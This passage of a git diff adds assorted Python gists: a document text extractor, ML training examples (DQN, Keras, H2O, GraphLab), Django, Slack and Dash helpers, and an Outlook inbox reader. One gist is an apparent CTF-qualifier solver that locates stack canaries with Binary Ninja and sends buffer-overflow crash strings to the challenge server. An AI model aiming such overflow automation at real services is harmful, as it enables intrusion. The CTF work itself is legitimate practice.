+                entity = db.model_from_protobuf(entity_proto)
+                a = db.model_from_protobuf(entity_proto)
+    
+                for pp in dir(a):
+                   try:
+                      ppp = getattr(a, "_" + pp)
+                      if isinstance(ppp, db.Key):
+                         ppp._Key__reference.set_app(appname)
+                         ppp
+                   except AttributeError:
+                      """ It's okay """
+                
+                to_put.append(a)
+                i += 1
+                if i % 100 == 0:
+                    print "Saved %d %ss" % (i, entity.kind())
+                    db.put(to_put)
+                    to_put = list()
+            
+            db.put(to_put)
+            to_put = list()
+            print "Saved %d" % i
+            
+        except ProtocolBufferDecodeError:
+            """ All good """
+ 
+run()
\ No newline at end of file
diff --git a/hard-gists/3b71a120ae7789956ef8/._snippet.py b/hard-gists/3b71a120ae7789956ef8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3b71a120ae7789956ef8/._snippet.py differ
diff --git a/hard-gists/3b71a120ae7789956ef8/snippet.py b/hard-gists/3b71a120ae7789956ef8/snippet.py
new file mode 100644
index 00000000..c452aca8
--- /dev/null
+++ b/hard-gists/3b71a120ae7789956ef8/snippet.py
@@ -0,0 +1,129 @@
+"""
+Extract text from files with common file extensions. (inspried by textract <http://textract.readthedocs.org/en/latest/>)
+Modified: Dec 2015
+System requirement:
+    + catdoc/catppt for doc/ppt extract <http://www.wagner.pp.ru/~vitus/software/catdoc/>
+"""
+import zipfile
+import PyPDF2
+from subprocess import Popen, PIPE
+from pptx import Presentation
+import xlrd
+import sys
+thismodule = sys.modules[__name__]
+
+
+SUPPORT_EXTENTIONS = ['docx', 'doc', 'pdf', 'ppt', 'pptx', 'xls', 'xlsx']
+try:
+    from xml.etree.cElementTree import XML
+except ImportError:
+    from xml.etree.ElementTree import XML
+
+"""
+Module that extract text from MS XML Word document (.docx).
+(Inspired by python-docx <https://github.com/mikemaccana/python-docx>)
+"""
+
+WORD_NAMESPACE = '{http://schemas.openxmlformats.org/wordprocessingml/2006/main}'
+PARA = WORD_NAMESPACE + 'p'
+TEXT = WORD_NAMESPACE + 't'
+
+
+def get_docx_text(path):
+    """
+    Take the path of a docx file as argument, return the text in unicode.
+    """
+    document = zipfile.ZipFile(path)
+    xml_content = document.read('word/document.xml')
+    document.close()
+    tree = XML(xml_content)
+
+    paragraphs = []
+    for paragraph in tree.getiterator(PARA):
+        texts = [node.text
+                 for node in paragraph.getiterator(TEXT)
+                 if node.text]
+        if texts:
+            paragraphs.append(''.join(texts))
+
+    return '\n\n'.join(paragraphs)
+
+
+def get_pdf_text(path):
+    pdfFileObj = open(path, 'rb')
+    pdfReader = PyPDF2.PdfFileReader(pdfFileObj)
+    res = []
+    for i in range(pdfReader.numPages):
+        pageObj = pdfReader.getPage(i)
+        res.append(pageObj.extractText())
+    return "\n".join(res)
+
+
+def get_doc_text(path):
+    #cmd = ['antiword', '-m', 'utf-8.txt', path]
+    cmd = ['catdoc', '-d', 'utf-8', path]
+    try:
+        p = Popen(cmd, stdout=PIPE)
+        stdout, stderr = p.communicate()
+        return stdout.decode('utf-8', 'ignore')
+    except:
+        return ''
+
+
+def get_ppt_text(path):
+    cmd = ['catppt', '-d', 'utf-8', path]
+    try:
+        p = Popen(cmd, stdout=PIPE)
+        stdout, stderr = p.communicate()
+        return stdout.decode('utf-8', 'ignore')
+    except:
+        return ''
+
+
+def get_pptx_text(path):
+    prs = Presentation(path)
+    text_runs = []
+    for slide in prs.slides:
+        for shape in slide.shapes:
+            if not shape.has_text_frame:
+                continue
+            for paragraph in shape.text_frame.paragraphs:
+                for run in paragraph.runs:
+                    text_runs.append(run.text)
+
+    return " ".join(text_runs)
+
+
+def get_xls_text(path):
+    workbook = xlrd.open_workbook(path)
+    sheets_name = workbook.sheet_names()
+    output = "\n"
+    for names in sheets_name:
+        worksheet = workbook.sheet_by_name(names)
+        num_rows = worksheet.nrows
+        num_cells = worksheet.ncols
+
+        for curr_row in range(num_rows):
+            #row = worksheet.row(curr_row)
+            new_output = []
+            for index_col in xrange(num_cells):
+                value = worksheet.cell_value(curr_row, index_col)
+                if value:
+                    if isinstance(value, (int, float)):
+                        value = unicode(value)
+                    new_output.append(value)
+            if new_output:
+                output += u' '.join(new_output) + u'\n'
+    return output
+
+
+def get_xlsx_text(path):
+    return get_xls_text(path)
+
+
+def textract(fname, ftype):
+    if ftype in SUPPORT_EXTENTIONS:
+        return getattr(thismodule, 'get_' + str(ftype) + '_text')(fname)
+    else:
+        f = open(fname, 'r')
+        return f.read()
diff --git a/hard-gists/3b9d893f1e0788f8fad0e6b49cde70f1/._snippet.py b/hard-gists/3b9d893f1e0788f8fad0e6b49cde70f1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3b9d893f1e0788f8fad0e6b49cde70f1/._snippet.py differ
diff --git a/hard-gists/3b9d893f1e0788f8fad0e6b49cde70f1/snippet.py b/hard-gists/3b9d893f1e0788f8fad0e6b49cde70f1/snippet.py
new file mode 100644
index 00000000..30567514
--- /dev/null
+++ b/hard-gists/3b9d893f1e0788f8fad0e6b49cde70f1/snippet.py
@@ -0,0 +1,200 @@
+# -------------------------------
+# DQN for CartPole in OpenAI Gym
+# Author: Flood Sung
+# Date: 2016.6.27
+# All rights reserved
+# -------------------------------
+
+import gym
+import tensorflow as tf 
+import numpy as np 
+import random
+from collections import deque
+
+# Hyper Parameters for DQN
+GAMMA = 0.9 # discount factor for target Q 
+INITIAL_EPSILON = 0.5 # starting value of epsilon
+FINAL_EPSILON = 0.01 # final value of epsilon
+REPLAY_SIZE = 10000 # experience replay buffer size
+BATCH_SIZE = 32 # size of minibatch
+
+class DQN():
+	# DQN Agent
+	def __init__(self, env):
+		# init experience replay
+		self.replay_buffer = deque()
+		# init some parameters
+		self.time_step = 0
+		self.epsilon = INITIAL_EPSILON
+		self.state_dim = env.observation_space.shape[0]
+		self.action_dim = env.action_space.n 
+
+		self.create_Q_network()
+		self.create_training_method()
+
+		# Init session
+		self.session = tf.InteractiveSession()
+		self.session.run(tf.initialize_all_variables())
+
+		# loading networks
+		self.saver = tf.train.Saver()
+		checkpoint = tf.train.get_checkpoint_state("saved_networks")
+		if checkpoint and checkpoint.model_checkpoint_path:
+				self.saver.restore(self.session, checkpoint.model_checkpoint_path)
+				print "Successfully loaded:", checkpoint.model_checkpoint_path
+		else:
+				print "Could not find old network weights"
+
+		global summary_writer
+		summary_writer = tf.train.SummaryWriter('~/logs',graph=self.session.graph)
+
+	def create_Q_network(self):
+		# network weights
+		W1 = self.weight_variable([self.state_dim,20])
+		b1 = self.bias_variable([20])
+		W2 = self.weight_variable([20,self.action_dim])
+		b2 = self.bias_variable([self.action_dim])
+		# input layer
+		self.state_input = tf.placeholder("float",[None,self.state_dim])
+		# hidden layers
+		h_layer = tf.nn.relu(tf.matmul(self.state_input,W1) + b1)
+		# Q Value layer
+		self.Q_value = tf.matmul(h_layer,W2) + b2
+
+
+	def create_training_method(self):
+		self.action_input = tf.placeholder("float",[None,self.action_dim]) # one hot presentation
+		self.y_input = tf.placeholder("float",[None])
+		Q_action = tf.reduce_sum(tf.mul(self.Q_value,self.action_input),reduction_indices = 1)
+		self.cost = tf.reduce_mean(tf.square(self.y_input - Q_action))
+		tf.scalar_summary("loss",self.cost)
+		global merged_summary_op
+		merged_summary_op = tf.merge_all_summaries()
+		self.optimizer = tf.train.AdamOptimizer(0.0001).minimize(self.cost)
+
+	def perceive(self,state,action,reward,next_state,done):
+		one_hot_action = np.zeros(self.action_dim)
+		one_hot_action[action] = 1
+		self.replay_buffer.append((state,one_hot_action,reward,next_state,done))
+		if len(self.replay_buffer) > REPLAY_SIZE:
+			self.replay_buffer.popleft()
+
+		if len(self.replay_buffer) > BATCH_SIZE:
+			self.train_Q_network()
+
+	def train_Q_network(self):
+		self.time_step += 1
+		# Step 1: obtain random minibatch from replay memory
+		minibatch = random.sample(self.replay_buffer,BATCH_SIZE)
+		state_batch = [data[0] for data in minibatch]
+		action_batch = [data[1] for data in minibatch]
+		reward_batch = [data[2] for data in minibatch]
+		next_state_batch = [data[3] for data in minibatch]
+
+		# Step 2: calculate y
+		y_batch = []
+		Q_value_batch = self.Q_value.eval(feed_dict={self.state_input:next_state_batch})
+		for i in range(0,BATCH_SIZE):
+			done = minibatch[i][4]
+			if done:
+				y_batch.append(reward_batch[i])
+			else :
+				y_batch.append(reward_batch[i] + GAMMA * np.max(Q_value_batch[i]))
+
+		self.optimizer.run(feed_dict={
+			self.y_input:y_batch,
+			self.action_input:action_batch,
+			self.state_input:state_batch
+			})
+		summary_str = self.session.run(merged_summary_op,feed_dict={
+				self.y_input : y_batch,
+				self.action_input : action_batch,
+				self.state_input : state_batch
+				})
+		summary_writer.add_summary(summary_str,self.time_step)
+
+		# save network every 1000 iteration
+		if self.time_step % 1000 == 0:
+			self.saver.save(self.session, 'saved_networks/' + 'network' + '-dqn', global_step = self.time_step)
+
+	def egreedy_action(self,state):
+		Q_value = self.Q_value.eval(feed_dict = {
+			self.state_input:[state]
+			})[0]
+		if random.random() <= self.epsilon:
+			return random.randint(0,self.action_dim - 1)
+		else:
+			return np.argmax(Q_value)
+
+		self.epsilon -= (INITIAL_EPSILON - FINAL_EPSILON)/10000
+
+	def action(self,state):
+		return np.argmax(self.Q_value.eval(feed_dict = {
+			self.state_input:[state]
+			})[0])
+
+	def weight_variable(self,shape):
+		initial = tf.truncated_normal(shape)
+		return tf.Variable(initial)
+
+	def bias_variable(self,shape):
+		initial = tf.constant(0.01, shape = shape)
+		return tf.Variable(initial)
+
+# ---------------------------------------------------------
+# Hyper Parameters
+ENV_NAME = 'CartPole-v0'
+EPISODE = 10000 # Episode limitation
+STEP = 300 # Step limitation in an episode
+TEST = 10 # The number of experiment test every 100 episode
+
+def main():
+	# initialize OpenAI Gym env and dqn agent
+	env = gym.make(ENV_NAME)
+	agent = DQN(env)
+
+	for episode in xrange(EPISODE):
+		# initialize task
+		state = env.reset()
+		# Train 
+		for step in xrange(STEP):
+			action = agent.egreedy_action(state) # e-greedy action for train
+			next_state,reward,done,_ = env.step(action)
+			# Define reward for agent
+			reward_agent = -1 if done else 0.1
+			agent.perceive(state,action,reward,next_state,done)
+			state = next_state
+			if done:
+				break
+		# Test every 100 episodes
+		if episode % 100 == 0:
+			total_reward = 0
+			for i in xrange(TEST):
+				state = env.reset()
+				for j in xrange(STEP):
+					env.render()
+					action = agent.action(state) # direct action for test
+					state,reward,done,_ = env.step(action)
+					total_reward += reward
+					if done:
+						break
+			ave_reward = total_reward/TEST
+			print 'episode: ',episode,'Evaluation Average Reward:',ave_reward
+			if ave_reward >= 200:
+				break
+
+	# save results for uploading
+	env.monitor.start('gym_results/CartPole-v0-experiment-1',force = True)
+	for i in xrange(100):
+		state = env.reset()
+		for j in xrange(200):
+			env.render()
+			action = agent.action(state) # direct action for test
+			state,reward,done,_ = env.step(action)
+			total_reward += reward
+			if done:
+				break
+	env.monitor.close()
+
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/hard-gists/3c2e5bf1e77986dfd51f/._snippet.py b/hard-gists/3c2e5bf1e77986dfd51f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3c2e5bf1e77986dfd51f/._snippet.py differ
diff --git a/hard-gists/3c2e5bf1e77986dfd51f/snippet.py b/hard-gists/3c2e5bf1e77986dfd51f/snippet.py
new file mode 100644
index 00000000..c5b41b70
--- /dev/null
+++ b/hard-gists/3c2e5bf1e77986dfd51f/snippet.py
@@ -0,0 +1,56 @@
+import keras
+from keras.models import Sequential
+from keras.layers.core import Dense, Dropout, Activation
+from keras.optimizers import SGD
+from keras.wrappers.scikit_learn import KerasClassifier
+
+import numpy as np
+
+
+def target2classes(y):
+    y_2class = np.zeros((y.shape[0],2))
+    y_2class[y==0, 0] = 1
+    y_2class[y==1, 1] = 1
+    return y_2class
+
+
+# Data generation
+np.random.seed(1337)
+X = np.random.rand(88737, 245)
+X = (X-X.mean(axis=0))/X.std(axis=0)
+y = np.random.binomial(1, 1.0/2500, size=(88737,))
+
+
+# Model definition
+model = Sequential()
+
+model.add(Dense(2000, input_dim=245, init='uniform'))
+model.add(Activation('tanh'))
+model.add(Dropout(0.2))
+
+model.add(Dense(2000, init='uniform'))
+model.add(Activation('tanh'))
+model.add(Dropout(0.2))
+
+model.add(Dense(600, init='uniform'))
+model.add(Activation('tanh'))
+model.add(Dropout(0.2))
+
+model.add(Dense(2, init='uniform'))
+model.add(Activation('sigmoid'))
+
+rmsprop = keras.optimizers.RMSprop(lr=0.00001, rho=0.9, epsilon=1e-6)
+
+
+# Training
+y_ohe = target2classes(y)
+inverse_frequencies = float(y_ohe.sum())/y_ohe.sum(axis=0)
+class_weight = dict((i, inverse_freq) for i, inverse_freq in enumerate(inverse_frequencies))
+
+model.compile(loss='binary_crossentropy',
+                      optimizer=rmsprop)
+
+model.fit(X, y_ohe, batch_size=256,
+                      nb_epoch=1,
+                      class_weight=class_weight,
+                      verbose=1)
diff --git a/hard-gists/3c76bc174844948c5f98/._snippet.py b/hard-gists/3c76bc174844948c5f98/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3c76bc174844948c5f98/._snippet.py differ
diff --git a/hard-gists/3c76bc174844948c5f98/snippet.py b/hard-gists/3c76bc174844948c5f98/snippet.py
new file mode 100644
index 00000000..785513e0
--- /dev/null
+++ b/hard-gists/3c76bc174844948c5f98/snippet.py
@@ -0,0 +1,24 @@
+from django.contrib.staticfiles.storage import staticfiles_storage
+from pipeline.packager import Packager
+from pipeline.conf import settings
+
+def get_pipeline_urls(package_type, package_name):
+    packager = Packager()
+    package = packager.package_for(package_type, package_name)
+
+    if settings.PIPELINE_ENABLED:
+        return ( staticfiles_storage.url(package.output_filename), )
+    else:
+        files = ()
+        for path in package.paths:
+            files += ( staticfiles_storage.url(path), )
+        return files
+
+# Usage:
+# ...
+# class Media:
+#     css = {
+#         'all': get_pipeline_urls('css','your_css_package_name')
+#     }
+#     js = get_pipeline_urls('js','your_js_package_name')
+# ...
diff --git a/hard-gists/3c98ac23d4e1c97da065ad7c4562c16c/._snippet.py b/hard-gists/3c98ac23d4e1c97da065ad7c4562c16c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3c98ac23d4e1c97da065ad7c4562c16c/._snippet.py differ
diff --git a/hard-gists/3c98ac23d4e1c97da065ad7c4562c16c/snippet.py b/hard-gists/3c98ac23d4e1c97da065ad7c4562c16c/snippet.py
new file mode 100644
index 00000000..d588aece
--- /dev/null
+++ b/hard-gists/3c98ac23d4e1c97da065ad7c4562c16c/snippet.py
@@ -0,0 +1,60 @@
+from html.entities import name2codepoint
+from html.parser import HTMLParser
+
+
+class SlackifyHTML(HTMLParser):
+
+    def __init__(self, html, *args, **kwargs):
+
+        super().__init__(*args, **kwargs)
+
+        self.output = ''
+
+        self.feed(html)
+
+    def handle_starttag(self, tag, attrs):
+
+        if tag == 'b' or tag == 'strong':
+            self.output += '*'
+        if tag == 'i' or tag == 'em':
+            self.output += '_'
+        if tag == 'code':
+            self.output += '`'
+        if tag == 'a':
+            self.output += '<'
+            for attr in attrs:
+                self.output += attr[1] + '|'
+
+    def handle_endtag(self, tag):
+
+        if tag == 'b' or tag == 'strong':
+            self.output += '*'
+        if tag == 'i' or tag == 'em':
+            self.output += '_'
+        if tag == 'a':
+            self.output += '>'
+        if tag == 'code':
+            self.output += '`'
+
+    def handle_data(self, data):
+        self.output += data
+
+    def handle_comment(self, data):
+        pass
+
+    def handle_entityref(self, name):
+        c = chr(name2codepoint[name])
+        pass
+
+    def handle_charref(self, name):
+        if name.startswith('x'):
+            c = chr(int(name[1:], 16))
+        else:
+            c = chr(int(name))
+
+    def handle_decl(self, data):
+        pass
+
+    def get_output(self):
+
+        return ' '.join(self.output.split())
\ No newline at end of file
diff --git a/hard-gists/3cefcc92891c4f1571f8/._snippet.py b/hard-gists/3cefcc92891c4f1571f8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3cefcc92891c4f1571f8/._snippet.py differ
diff --git a/hard-gists/3cefcc92891c4f1571f8/snippet.py b/hard-gists/3cefcc92891c4f1571f8/snippet.py
new file mode 100644
index 00000000..ced339be
--- /dev/null
+++ b/hard-gists/3cefcc92891c4f1571f8/snippet.py
@@ -0,0 +1,20 @@
+import graphlab as gl
+
+# Load the data
+train = gl.SFrame.read_csv('data/train.csv')
+test = gl.SFrame.read_csv('data/test.csv')
+sample = gl.SFrame.read_csv('data/sampleSubmission.csv')
+
+del train['id']
+
+# Train a model
+m = gl.boosted_trees_classifier.create(train, target='target',
+                                       max_iterations=50)
+
+# Make submission
+preds = m.predict_topk(test, output_type='probability', k=9)
+preds['id'] = preds['id'].astype(int) + 1
+preds = preds.unstack(['class', 'probability'], 'probs').unpack('probs', '')
+preds = preds.sort('id')
+
+assert sample.num_rows() == preds.num_rows()
diff --git a/hard-gists/3d2454905d8f01886d651f207e2419f0/._snippet.py b/hard-gists/3d2454905d8f01886d651f207e2419f0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3d2454905d8f01886d651f207e2419f0/._snippet.py differ
diff --git a/hard-gists/3d2454905d8f01886d651f207e2419f0/snippet.py b/hard-gists/3d2454905d8f01886d651f207e2419f0/snippet.py
new file mode 100644
index 00000000..c965700e
--- /dev/null
+++ b/hard-gists/3d2454905d8f01886d651f207e2419f0/snippet.py
@@ -0,0 +1,43 @@
+import dash
+from dash.dependencies import Input, Output
+import dash_core_components as dcc
+import dash_html_components as html
+
+from pandas_datareader import data as web
+from datetime import datetime as dt
+
+app = dash.Dash('Hello World')
+
+app.layout = html.Div([
+    dcc.Dropdown(
+        id='my-dropdown',
+        options=[
+            {'label': 'Coke', 'value': 'COKE'},
+            {'label': 'Tesla', 'value': 'TSLA'},
+            {'label': 'Apple', 'value': 'AAPL'}
+        ],
+        value='COKE'
+    ),
+    dcc.Graph(id='my-graph')
+], style={'width': '500'})
+
+@app.callback(Output('my-graph', 'figure'), [Input('my-dropdown', 'value')])
+def update_graph(selected_dropdown_value):
+    df = web.DataReader(
+        selected_dropdown_value,
+        'google',
+        dt(2017, 1, 1),
+        dt.now()
+    )
+    return {
+        'data': [{
+            'x': df.index,
+            'y': df.Close
+        }],
+        'layout': {'margin': {'l': 40, 'r': 0, 't': 20, 'b': 30}}
+    }
+
+app.css.append_css({'external_url': 'https://codepen.io/chriddyp/pen/bWLwgP.css'})
+
+if __name__ == '__main__':
+    app.run_server()
diff --git a/hard-gists/3d5aa90144a4696be61b3991aa339cc5/._snippet.py b/hard-gists/3d5aa90144a4696be61b3991aa339cc5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3d5aa90144a4696be61b3991aa339cc5/._snippet.py differ
diff --git a/hard-gists/3d5aa90144a4696be61b3991aa339cc5/snippet.py b/hard-gists/3d5aa90144a4696be61b3991aa339cc5/snippet.py
new file mode 100644
index 00000000..a22e1875
--- /dev/null
+++ b/hard-gists/3d5aa90144a4696be61b3991aa339cc5/snippet.py
@@ -0,0 +1,43 @@
+import win32com.client
+
+items = []
+
+def encodeit(s):
+    if isinstance(s, str):
+        return unicode(s, 'utf-8')
+    else:
+        return s
+
+def extract():
+  
+  outlook  = win32com.client.Dispatch("Outlook.Application").GetNamespace("MAPI")
+  inbox    = outlook.GetDefaultFolder(6)  # "6" refers to the inbox
+  messages = inbox.Items
+  message  = messages.GetFirst()
+  
+  
+  while message:
+      
+      try:
+          d = dict()
+          d['Subject'] = encodeit(getattr(message, 'Subject', '<UNKNOWN>'))
+          d['SentOn']  = encodeit(getattr(message, 'SentOn', '<UNKNOWN>'))
+          d['EntryID'] = encodeit(getattr(message, 'EntryID', '<UNKNOWN>'))
+          d['Sender']  = encodeit(getattr(message, 'Sender', '<UNKNOWN>'))
+          d['Size']    = encodeit(getattr(message, 'Size', '<UNKNOWN>'))
+          d['Body']    = encodeit(getattr(message, 'Body', '<UNKNOWN>'))
+          items.append(d)
+
+      except Exception as inst:
+          print "Error processing mail"
+  
+      message = messages.GetNext()
+      
+def showMessage():
+  items.sort(key=lambda tup: tup['SentOn']) 
+  
+  for i in items:
+    print i["SentOn"], i["Subject"]
+    
+extract()
+showMessage()
\ No newline at end of file
diff --git a/hard-gists/3d7e2b077ba5af48ab1ba96678733e6f/._snippet.py b/hard-gists/3d7e2b077ba5af48ab1ba96678733e6f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3d7e2b077ba5af48ab1ba96678733e6f/._snippet.py differ
diff --git a/hard-gists/3d7e2b077ba5af48ab1ba96678733e6f/snippet.py b/hard-gists/3d7e2b077ba5af48ab1ba96678733e6f/snippet.py
new file mode 100644
index 00000000..3269c5f4
--- /dev/null
+++ b/hard-gists/3d7e2b077ba5af48ab1ba96678733e6f/snippet.py
@@ -0,0 +1,120 @@
+#!/usr/bin/env python
+
+import sys
+try:
+    import binaryninja
+except ImportError:
+    sys.path.append("/Applications/Binary Ninja.app/Contents/Resources/python/")
+    import binaryninja
+import time
+import socket
+import base64
+
+s = socket.socket()
+s.connect(('334_cuts_22ffeb97cf4f6ddb1802bf64c03e2aab.quals.shallweplayaga.me', 10334))
+print "Msg: " + s.recv(1024)
+
+def readUntil(s, delim):
+    msg = ""
+    while delim not in msg:
+        msg += s.recv(1)
+
+    return msg
+
+msg = readUntil(s, '\n')
+while True:
+    print
+    print
+
+    # They send us the challenge name to process.
+    msg = readUntil(s, '\n')
+    if 'segfault' in msg:
+        print msg
+        break
+    chal = msg.strip()
+
+    # Open a binary view to the challenge as an elf
+    print "Analyzing {0}".format(chal)
+    bv = binaryninja.BinaryViewType["ELF"].open(chal)
+    bv.update_analysis()
+    time.sleep(0.1)  # bandaid until there's blocking analysis
+    
+    # start at the entry point
+    print "Entry Point: {0:x}".format(bv.entry_point)
+    entry = bv.entry_function # Get the entry point as a function object
+    start = None
+    
+    # Iterate over the basic blocks in the entry function
+    entry_calls = []
+    for block in entry.low_level_il:
+        # Iterate over the basic blocks getting il instructions
+        for il in block:
+            # We only care about calls
+            if il.operation == binaryninja.core.LLIL_CALL:
+                entry_calls.append(il)
+    
+    start_call = entry_calls[1]            
+    start = bv.get_function_at(bv.platform, start_call.operands[0].value)
+    
+    print "start: {0}".format(start)
+
+    # Do the same thing with main, it's the first call in start
+    main = None
+    for block in start.low_level_il:
+        for il in block:
+            if il.operation != binaryninja.core.LLIL_CALL:
+                continue
+    
+            main = bv.get_function_at(bv.platform, il.operands[0].value)
+    
+    print "main: {0}".format(main)
+    
+    # Collect all the call instructions in main
+    calls = []
+    for block in main.low_level_il:
+        for il in block:
+            if il.operation == binaryninja.core.LLIL_CALL:
+                calls.append(il)
+
+    # If there are 5 calls, then the memcmp is the second call. With 6 calls its the 3rd.
+    if len(calls) == 5:
+        read_buf = calls[0]
+        memcmp = calls[1]
+    else:
+        read_buf = calls[1]
+        memcmp = calls[2]
+    
+    # Query the parameters to the memcmp
+    # memcmp(dst, src, length)
+    canary_frame = main.get_parameter_at(bv.arch, memcmp.address, None, 0)
+    canary_address = main.get_parameter_at(bv.arch, memcmp.address, None, 1)
+    canary_width = main.get_parameter_at(bv.arch, memcmp.address, None, 2)
+    
+    # Use that to read the canary
+    canary = bv.read(canary_address.value, canary_width.value)
+    
+    buffer_frame = main.get_parameter_at(bv.arch, read_buf.address, None, 0)
+    
+    # The canary is between the buffer and the saved stack registers
+    buffer_size = (buffer_frame.offset - canary_frame.offset) * -1
+    print buffer_size
+    
+    # Fill up the buffer
+    crash_string = "a" * buffer_size
+    # Append the checked bytes of the canary check (it's always 4)
+    crash_string += canary[:canary_width.value]
+    
+    # Pad out the rest of the string canary buffer
+    crash_string += "a" * ((canary_frame.offset * - 1) - canary_width.value)
+    
+    # overwrite the saved registers
+    crash_string += 'eeee'
+    crash_string += '\n'
+    
+    # Send the crashing string to the service
+    b64 = base64.b64encode(crash_string)
+    print chal, canary, crash_string.strip(), b64
+
+    # Send the crashing string
+    s.send(b64 + "\n")
+
diff --git a/hard-gists/3d99498d4236248f9bfbc8ed2fd424fa/._snippet.py b/hard-gists/3d99498d4236248f9bfbc8ed2fd424fa/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3d99498d4236248f9bfbc8ed2fd424fa/._snippet.py differ
diff --git a/hard-gists/3d99498d4236248f9bfbc8ed2fd424fa/snippet.py b/hard-gists/3d99498d4236248f9bfbc8ed2fd424fa/snippet.py
new file mode 100644
index 00000000..448bcb1f
--- /dev/null
+++ b/hard-gists/3d99498d4236248f9bfbc8ed2fd424fa/snippet.py
@@ -0,0 +1,189 @@
+# This is an example of how to do stacking with H2O in Python
+
+
+import h2o
+from h2o.estimators.gbm import H2OGradientBoostingEstimator
+from h2o.estimators.deeplearning import H2ODeepLearningEstimator
+from h2o.estimators.glm import H2OGeneralizedLinearEstimator
+from h2o.estimators.random_forest import H2ORandomForestEstimator
+from sklearn import metrics  #will be replaced with ensemble_performance later
+
+
+def source_stack_utils():
+	'''
+	Current location of h2o stack python utils
+	'''
+	import urllib
+	url = "https://gist.githubusercontent.com/ledell/8ba8d064ae13169a1821faac70d2211b/raw/7d0fa741df619d1a5340e06258a91831951be8a9/stack.py"
+	urllib.urlretrieve(url, "stack.py")
+	
+
+def prep_data_example():
+
+	# Import a sample binary outcome train/test set into R
+	train = h2o.import_file("http://www.stat.berkeley.edu/~ledell/data/higgs_10k.csv")
+	test = h2o.import_file("http://www.stat.berkeley.edu/~ledell/data/higgs_test_5k.csv")
+	y = "C1"
+	x = list(train.columns)
+	x.pop(0)
+
+	family = "binomial"
+
+	#For binary classification, response should be a factor
+	train[y] = train[y].asfactor()  
+	test[y] = test[y].asfactor()
+	
+	return x, y, train, test, family
+
+
+def cvtrain_base_models(x, y, train, family):
+	''' 
+	Here we (5-fold) cross-validate a collection of base models
+	This is an example of an ensemble of nine models:
+	- 3 GBM
+	- 3 DL
+	- 2 RF
+	- 1 GLM
+	'''
+
+	# All models must use exact same CV folds
+	nfolds = 5
+	fold_assignment = 'Modulo'
+
+
+	# TO DO: Sync up family and distribution and un-hardcode distribution below
+	gbm1 = H2OGradientBoostingEstimator(distribution='bernoulli',
+	                                    ntrees=100,
+	                                    max_depth=4,
+	                                    learn_rate=0.1,
+	                                    nfolds=nfolds,
+	                                    fold_assignment=fold_assignment,
+	                                    keep_cross_validation_predictions=True)
+
+	gbm2 = H2OGradientBoostingEstimator(distribution='bernoulli',
+	                                    ntrees=100,
+	                                    max_depth=4,
+	                                    learn_rate=0.1,
+	                                    col_sample_rate=0.7,
+	                                    nfolds=nfolds,
+	                                    fold_assignment=fold_assignment,
+	                                    keep_cross_validation_predictions=True)
+
+	gbm3 = H2OGradientBoostingEstimator(distribution='bernoulli',
+	                                    ntrees=100,
+	                                    max_depth=2,
+	                                    learn_rate=0.1,
+	                                    nfolds=nfolds,
+	                                    fold_assignment=fold_assignment,
+	                                    keep_cross_validation_predictions=True)
+
+	dl1 = H2ODeepLearningEstimator(distribution='bernoulli',
+	                               activation='Rectifier', 
+	                               hidden=[50,50,50],
+	                               l1=1e-5, 
+	                               epochs=10,
+	                               nfolds=nfolds,
+	                               fold_assignment=fold_assignment,
+	                               keep_cross_validation_predictions=True)
+
+	dl2 = H2ODeepLearningEstimator(distribution='bernoulli',
+	                               activation='RectifierWithDropout', 
+	                               hidden=[100,100,100],
+	                               input_dropout_ratio=0.2, 
+	                               l1=1e-5, 
+	                               epochs=10,
+	                               nfolds=nfolds,
+	                               fold_assignment=fold_assignment,
+	                               keep_cross_validation_predictions=True)
+
+	dl3 = H2ODeepLearningEstimator(distribution='bernoulli',
+	                               activation='Rectifier', 
+	                               hidden=[200,200],
+	                               l1=1e-6, 
+	                               epochs=10,
+	                               nfolds=nfolds,
+	                               fold_assignment=fold_assignment,
+	                               keep_cross_validation_predictions=True)
+
+	rf1 = H2ORandomForestEstimator(#distribution='bernoulli',
+	                               ntrees=300, 
+	                               nfolds=nfolds,
+	                               fold_assignment=fold_assignment,
+	                               keep_cross_validation_predictions=True)
+
+	rf2 = H2ORandomForestEstimator(#distribution='bernoulli',
+	                               ntrees=300,
+	                               sample_rate=0.7,
+	                               mtries=10, 
+	                               nfolds=nfolds,
+	                               fold_assignment=fold_assignment,
+	                               keep_cross_validation_predictions=True)
+
+	glm1 = H2OGeneralizedLinearEstimator(family='binomial',
+	                                     nfolds=nfolds,
+	                                     fold_assignment=fold_assignment,
+	                                     keep_cross_validation_predictions=True)
+
+	# Edit this list of base models to make different ensembles
+	models = [gbm1, gbm2, gbm3, dl1, dl2, dl3, rf1, rf2, glm1]
+
+	for model in models:
+		model.train(x=x, y=y, training_frame=train)
+
+	return models
+
+
+
+def main():
+
+	h2o.init()
+
+	# Load some example binary response data
+	x, y, train, test, family = prep_data_example()
+	
+	# Load stacking utils
+	source_stack_utils()
+	from stack import make_Z, get_cvpreds, stack, metapredict
+
+	# Cross-validation & training of base models
+	# Above we train an abitrary assortment of base models
+	models = cvtrain_base_models(x=x, y=y, train=train, family=family)
+
+	# Define a NN-GLM metalearner
+	metalearner = H2OGeneralizedLinearEstimator(family='binomial', non_negative=True)
+
+	# Fit the stacked ensemble / Super Learner
+	metafit = stack(models=models, 
+			metalearner=metalearner,
+			response_frame=train[y],
+			seed=1,
+			keep_levelone_data=True)
+
+	# Generate ensemble prediction on the test set
+	pred, basepred = metapredict(models=models, metafit=metafit, test_data=test)
+
+	# TO DO: Add metafit.ensemble_performance()
+	# Evaluate ensemble test performance
+	preds = pred[2].as_data_frame(True)
+	labels = test[y].as_data_frame(True)
